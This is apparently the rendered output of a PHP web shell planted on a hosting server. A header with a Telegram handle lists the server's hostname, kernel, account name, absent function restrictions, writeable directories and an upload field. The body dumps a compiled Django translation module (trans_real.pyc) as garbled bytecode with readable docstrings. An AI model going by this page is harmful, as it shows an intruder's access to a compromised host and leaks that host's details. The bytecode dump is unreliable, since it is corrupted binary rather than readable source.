https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/utils/translation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/utils/translation/trans_real.pyc
�
r�\c@sdZddlmZddlZddlZddlZddlZddlZddl	m
Z
ddlZddlm
Z
ddlmZddlmZmZddlmZdd	lmZdd
lmZmZddlmZddlmZdd
lmZia e
�Z!da#ia$iZ%dZ&ej'dej(�Z)ej'd�Z*e+d�Z,d�Z-dej.fd��YZ/d�Z0d�Z1d�Z2d�Z3d�Z4d�Z5d�Z6d�Z7d�Zej8r�eZ9n	d�Z9d�Z:d �Z;d!�Z<d"�Z=ej8r%e=Z>n	d#�Z>d$�Z?d%�Z@d&�ZAeeAe%d'�ZAde+d(�ZBde+d)�ZCe+d*�ZDej'd+�ZEd,�ZFej'd-�ZGej'd.�ZHej'd/�ZIej'd0�ZJej'd1�ZKej'd2�ZLej'd3�ZMdd4�ZNd5�ZOdS(6uTranslation helper functions.i����(tunicode_literalsN(tlocal(t
import_module(t
SortedDict(t	force_strt
force_text(tmemoize(tupath(t	mark_safetSafeData(tsix(tStringIO(tTranslatorCommentWarninguu
        ([A-Za-z]{1,8}(?:-[A-Za-z0-9]{1,8})*|\*)      # "en", "en-au", "x-y-z", "es-419", "*"
        (?:\s*;\s*q=(0(?:\.\d{,3})?|1(?:.0{,3})?))?   # Optional "q=1.00", "q=0.8"
        (?:\s*,\s*|$)                                 # Multiple accepts per header.
        u^/([\w-]+)(/|$)cCs�|jd�}|dkr�|rE|| j�d||dj�St||d�dkr�|| j�d||dj�||dj�S|| j�d||dj�Sn
|j�SdS(u�
    Turns a language name (en-us) into a locale name (en_US). If 'to_lower' is
    True, the last component is lower-cased (en_us).
    u-iu_iiN(tfindtlowertlentupper(tlanguagetto_lowertp((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt	to_locale2s$6'cCsM|jd�}|dkr?|| j�d||dj�S|j�SdS(u9Turns a locale name (en_US) into a language name (en-us).u_iu-iN(R
R(tlocaleR((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytto_languageCs$tDjangoTranslationcBsDeZdZd�Zd�Zd�Zd�Zd�Zd�ZRS(u[
    This class sets up the GNUTranslations context with regard to output
    charset.
    cOs0tjj|||�|jd�d|_dS(Nuutf-8u??(tgettext_moduletGNUTranslationst__init__tset_output_charsett_DjangoTranslation__language(tselftargstkw((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyRPs
cCs|jj|j�dS(N(t_catalogtupdate(Rtother((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytmergeUscCs||_t|�|_dS(N(RRt_DjangoTranslation__to_language(RR((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytset_languageXs	cCs|jS(N(R(R((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyR\scCs|jS(N(R$(R((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyR_scCsd|jS(Nu<DjangoTranslation lang:%s>(R(R((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt__repr__bs(	t__name__t
__module__t__doc__RR#R%RRR&(((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyRKs					cs�tj|d�}|dk	r"|Sddlm�tjjtjjt	t
j�jj
��d��d��fd�}|�j�}||d|�}|S(u8
    Returns a translation object.

    This translation object will be constructed out of multiple GNUTranslations
    objects by merging their catalogs. It will construct a object for the
    requested language and add a fallback to the default language, if it's
    different from the requested language.
    i����(tsettingsulocalec	s�tj�d���dk	r"�St�����fd������d�}|��gtt�D]}||�^qkkr��jj��_�jj��_n��fd�}xnt�j	�D]]}t
|�}tjj
tjjt|j��d�}tjj|�r�||��q�q�Wx8t�j�D]'}tjj|�r@||��q@q@W�dkr�|dk	r�|�q�tj�Sn�t�<�S(NcsIy0tjd|�gt�}|j��|SWntk
rDdSXdS(Nudjango(RttranslationRR%tIOErrortNone(tpathtt(tlangtloc(sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt_translation�s

cSs|jdd�dS(Nu-ii(tsplit(tx((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt<lambda>�scs<�|�}|dk	r8�dkr(|S�j|�n�S(N(R-R#(R.R/(R2tres(sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt_merge�sulocale(t
_translationstgetR-Rtlistt_infotcopyR treversedtINSTALLED_APPSRtosR.tjointdirnameRt__file__tisdirtLOCALE_PATHSRtNullTranslations(	R0tfallbackt	base_langttransR7tappnametapptapppatht
localepath(t
globalpathR*(R2R0R1R6sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt_fetchxs2	1	*	

RFN(R8R9R-tdjango.confR*R?R.R@RARtsystmodulesR(RBt
LANGUAGE_CODE(RR/RNtdefault_translationtcurrent_translation((RMR*sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyR+es49cCst|�t_dS(u�
    Fetches the translation object for a given tuple of application name and
    language and installs it as the current translation object for the current
    thread.
    N(R+t_activetvalue(R((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytactivate�scCsttd�rt`ndS(u�
    Deinstalls the currently active translation object so that further _ calls
    will resolve against the default translation object, again.
    uvalueN(thasattrRURV(((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt
deactivate�scCstj�t_dS(u�
    Makes the active translation object a NullTranslations() instance. This is
    useful when we want delayed translations to appear as the original string
    for some reason.
    N(RRERURV(((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytdeactivate_all�scCsZttdd�}|dk	rCy|j�SWqCtk
r?qCXnddlm}|jS(u(Returns the currently selected language.uvaluei����(R*N(tgetattrRUR-RtAttributeErrorROR*RR(R/R*((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytget_language�s
cCs3ddlm}t�jd�d}||jkS(ux
    Returns selected language's BiDi layout.

    * False = left-to-right layout
    * True = right-to-left layout
    i����(R*u-i(ROR*R]R3tLANGUAGES_BIDI(R*RG((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytget_language_bidi�scCsTttdd�}|dk	r"|StdkrPddlm}t|j�antS(u�
    Returns the current active catalog for further processing.
    This can be used if you need to modify the catalog or want to access the
    whole message catalog instead of just translating one string.
    uvaluei����(R*N(R[RUR-t_defaultROR*R+RR(R/R*((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytcatalog�scCs�|jtd�td��jtd�td��}ttdd�}|dk	rlt||�|�}nCtdkr�ddlm}t|j	�antt|�|�}t
|t�r�t|�S|S(u-
    Translates 'message' using the given 'translation_function' name -- which
    will be either gettext or ugettext. It uses the current thread to find the
    translation object to use. If no current translation is activated, the
    message will be run through the default translation object.
    u
u
u
uvaluei����(R*N(
treplacetstrR[RUR-R`ROR*R+RRt
isinstanceR	R(tmessagettranslation_functionteol_messageR/tresultR*((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytdo_translate�s
6
cCs
t|d�S(u�
    Returns a string of the translation of the message.

    Returns a string on Python 3 and an UTF-8-encoded bytestring on Python 2.
    ugettext(Ri(Re((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytgettext
scCs
t|d�S(Nuugettext(Ri(Re((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytugettextscCs>d|t|f}t|�}t|kr:t|�}n|S(Nu%s%s%s(tCONTEXT_SEPARATORRkR(tcontextRet
msg_with_ctxtRh((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytpgettexts
cCs|S(u�
    Marks strings for translation but doesn't translate them now. This can be
    used to store strings in global variables that should stay in the base
    language (because they might be used externally) and will be translated
    later.
    ((Re((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytgettext_noop$scCs~ttdd�}|dk	r7t||�|||�Stdkreddlm}t|j�antt|�|||�S(Nuvaluei����(R*(R[RUR-R`ROR*R+RR(tsingulartpluraltnumberRfR/R*((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt
do_ntranslate-scCst|||d�S(u�
    Returns a string of the translation of either the singular or plural,
    based on the number.

    Returns a string on Python 3 and an UTF-8-encoded bytestring on Python 2.
    ungettext(Rt(RqRrRs((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytngettext8scCst|||d�S(u}
        Returns a unicode strings of the translation of either the singular or
        plural, based on the number.
        u	ungettext(Rt(RqRrRs((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt	ungettextDscCsZd|t|fd|t|f|f}t|�}t|krVt|||�}n|S(Nu%s%s%s(RlRv(RmRqRrRstmsgs_with_ctxtRh((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt	npgettextKs	cCsXddlm}tjjtjjttj|j	j
��d�}|gt|j�S(uC
    Returns a list of paths to user-provides languages files.
    i����(R*ulocale(
ROR*R?R.R@RARRPRQR(RBR:RD(R*RM((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytall_locale_pathsUs	+cCs@x9t�D].}tjd|t|�g�dk	r
tSq
WtS(u
    Checks whether there is a global language file for the given language
    code. This is used to decide whether a user-provided language is
    available. This is only used for language codes from either the cookies
    or session and during format localization.
    udjangoN(RyRR
RR-tTruetFalse(t	lang_codeR.((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytcheck_for_language^s$icCs�|dkr.ddlm}t|j�}n|r�|jd�d}||j�||j�f}x*|D]"}||krlt|�rl|SqlW|s�x8|D]-}|j|d|j�df�r�|Sq�Wq�nt	|��dS(u6
    Returns the language-code that's listed in supported languages, possibly
    selecting a more generic variant. Raises LookupError if nothing found.

    If `strict` is False (the default), the function will look for an alternative
    country-specific variant when the currently checked is not found.
    i����(R*u-iN(
R-ROR*Rt	LANGUAGESR3RR}t
startswithtLookupError(R|t	supportedtstrictR*tgeneric_lang_codetvariantstcodetsupported_code((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytget_supported_language_variantks 


cCs�|dkr.ddlm}t|j�}ntj|�}|sGdS|jd�}yt||d|�SWnt	k
r�dSXdS(u�
    Returns the language-code if there is a valid language-code
    found in the `path`.

    If `strict` is False (the default), the function will look for an alternative
    country-specific variant when the currently checked is not found.
    i����(R*iR�N(
R-ROR*RR~tlanguage_code_prefix_retmatchtgroupR�R�(R.R�R�R*tregex_matchR|((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytget_language_from_path�s
c	Cs�ddlm}t|j�}|rJt|j|�}|d
k	rJ|Snt|d�r�|jj	dd
�}||kr�|d
k	r�t
|�r�|Sn|jj	|j�}yt
||�SWntk
r�nX|jj	dd�}x�t|�D]�\}}|dkrPntjj	t|t��}|s8q�n|jd�d	}|tkr_t|Syt
||�}Wntk
r�q�q�X|t|<|Sq�Wyt
|j|�SWntk
r�|jSXd
S(u�
    Analyzes the request to find what language the user wants the system to
    show. Only languages listed in settings.LANGUAGES are taken into account.
    If the user requests a sublanguage where we have a main language, we send
    out the main language.

    If check_path is True, the URL path prefix will be checked for a language
    code, otherwise this is skipped for backwards compatibility.
    i����(R*usessionudjango_languageuHTTP_ACCEPT_LANGUAGEuu*u.iN(ROR*RR~R�t	path_infoR-RXtsessionR9R}tCOOKIEStLANGUAGE_COOKIE_NAMER�R�tMETAtparse_accept_lang_headerRtlocale_aliasRRzR3t	_acceptedRR(	trequestt
check_pathR*R�R|taccepttaccept_langtunusedt
normalized((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytget_language_from_request�sF$



u\ScCstj||�S(uh
    Changes every non-whitespace character to the given char.
    Used in the templatize function.
    (tdot_retsub(tsrctchar((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pytblankout�su.^\s+.*context\s+((?:"[^"]*?")|(?:'[^']*?'))\s*uW^\s*trans\s+((?:"[^"]*?")|(?:'[^']*?'))(\s+.*context\s+((?:"[^"]*?")|(?:'[^']*?')))?\s*uD^\s*blocktrans(\s+.*context\s+((?:"[^"]*?")|(?:'[^']*?')))?(?:\s+|$)u^\s*endblocktrans$u^\s*plural$u_\(((?:".*?")|(?:'.*?'))\)u(?<!%)%(?!%)c)Cs�ddlm}ddlm}m}m}m}m}m}t	||j
�}t�}	d$}
t
}t
}g}
g}t
}g}i}d$}x�|||�j�D]�}|r�|j|kr�|jdkr�dj|�}d$}xAt|jt��D]*\}}|j�j|�r�|}q�q�Wx\t|jt��D]E\}}|d$k	rv||krv|	jd|�q>|	jd�q>Wt
}g}q|j|j�q�|r|j|krrtj|j�}tj|j�}|r(|r�|
r#|	jd|
dj|
�dj|�f�n)|	jd	dj|
�dj|�f�x$|
D]}|	jt|d
��qSWx�|D]}|	jt|d��qzWnj|
r�|	jd|
dj|
�f�n|	jd
dj|
��x$|
D]}|	jt|d
��q�Wd$}
t
}t
}g}
g}q�|r7t}q�d}|rPd|}ntd|j||jf��q|j|kr�|r�|jd|j�q�|
jd|j�q|j|krtj d|j�}|r�|j|�q�|
j|�qq�|d$k	r�|j|jj!d�}||kr�|j|kr�xN||D]B}d}|rld|}nd|||f}t"j#|t$�qMWg||<q�n|	jddj||��d$}n|j|krSt%j|j�} t&j|j�}!t'j(|j�}"| r(| j)d�}#|#ddkrF|#j*d�}#n"|#ddkrh|#j*d�}#ntj d|#�}#| j)d�rt+j| j)d��}$|$j)d�}
|
ddkr�|
j*d�}
n"|
ddkr�|
j*d�}
n|	jd|
|#f�d$}
qP|	jd
|#�q|!r�x+t'j(|j�D]}%|	jd|%�qAW|!j)d�r�t+j|!j)d��}$|$j)d�}
|
ddkr�|
j*d�}
q�|
ddkr�|
j*d�}
q�nt}t
}g}
g}q|"rxS|"D]}&|	jd|&�qWq|jdkr7t}q|	jt|jd��q�|j|kr|jj,d�}'t'j|'d�}&|&r�|	jd|&j)d��nx�|'dD]U}(|(j-d�dkr�|	jd |(j,d!d�d�q�|	jt|(d"��q�Wq�|j|krf|jj�j|�r|j.|jg�j|j�|j}qq�|	jt|jd#��q�Wt/|	j0��S(%u�
    Turns a Django template into something that is understood by xgettext. It
    does so by translating the Django translation tags into standard gettext
    function invocations.
    i����(R*(tLexert
TOKEN_TEXTt	TOKEN_VARtTOKEN_BLOCKt
TOKEN_COMMENTtTRANSLATOR_COMMENT_MARKu
endcommentuu # %su #
u npgettext(%r, %r, %r,count) u ngettext(%r, %r, count) uSuPu pgettext(%r, %r) u
 gettext(%r) u	file %s, uDTranslation blocks must not include other block tags: %s (%sline %d)u%%(%s)su%%u
ujThe translator-targeted comment '%s' (%sline %d) was ignored, because it wasn't the last item on the line.u# %su | iiu"u'iu _(%s) ucommentuBu|u:_(u %s u:uFuXN(1ROR*tdjango.templateR�R�R�R�R�R�RtFILE_CHARSETRR-R{ttokenizet
token_typetcontentsR@t	enumeratet
splitlinesRztlstripRtwritetappendtendblock_reR�t	plural_reR�tSyntaxErrortlinenotone_percent_reR�tcounttwarningstwarnRt	inline_retblock_retconstant_retfindallR�tstript
context_reR3R
t
setdefaultRtgetvalue()R�toriginR*R�R�R�R�R�R�touttmessage_contexttintranstinpluralRqRrt	incommenttcommenttlineno_comment_maptcomment_lineno_cacheR/tcontentttranslators_comment_startR�tlinet	endbmatchtpluralmatchtparttfilemsgR�t
cur_linenotctwarn_msgtimatchtbmatchtcmatchestgt
context_matchtfmatchtcmatchtpartsR((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt
templatize�s.	"
"	/)

#
		
"
			
	$cCs�g}tj|�}|dr#gSxtdt|�dd�D]a}|||d!\}}}|rjgS|rt|�}n|s�d}n|j||f�q@W|jdd�dt�|S(	u�
    Parses the lang_string, which is the body of an HTTP Accept-Language
    header, and returns a list of (lang, q-value), ordered by 'q' values.

    Any format errors in lang_string results in an empty list being returned.
    i����iiig�?tkeycSs|dS(Ni((tk((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyR5�streverse(taccept_language_reR3trangeRtfloatR�tsortRz(tlang_stringRhtpiecestitfirstR0tpriority((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyR��s
#	(PR)t
__future__RRR?treRPRjRt	threadingRR�tdjango.utils.importlibRtdjango.utils.datastructuresRtdjango.utils.encodingRRtdjango.utils.functionalRtdjango.utils._osRtdjango.utils.safestringRR	tdjango.utilsR
tdjango.utils.sixRtdjango.utils.translationRR8RUR-R`R�t_checked_languagesRltcompiletVERBOSER�R�R{RRRRR+RWRYRZR]R_RaRitPY3RkRoRpRtRuRvRxRyR}R�R�R�R�R�R�R�R�R�R�R�R�R�R�(((sE/tmp/pip-install-XxeQeY/django/django/utils/translation/trans_real.pyt<module>s�			Q																						
			>	�

https://t.me/AnonymousX5 - 2025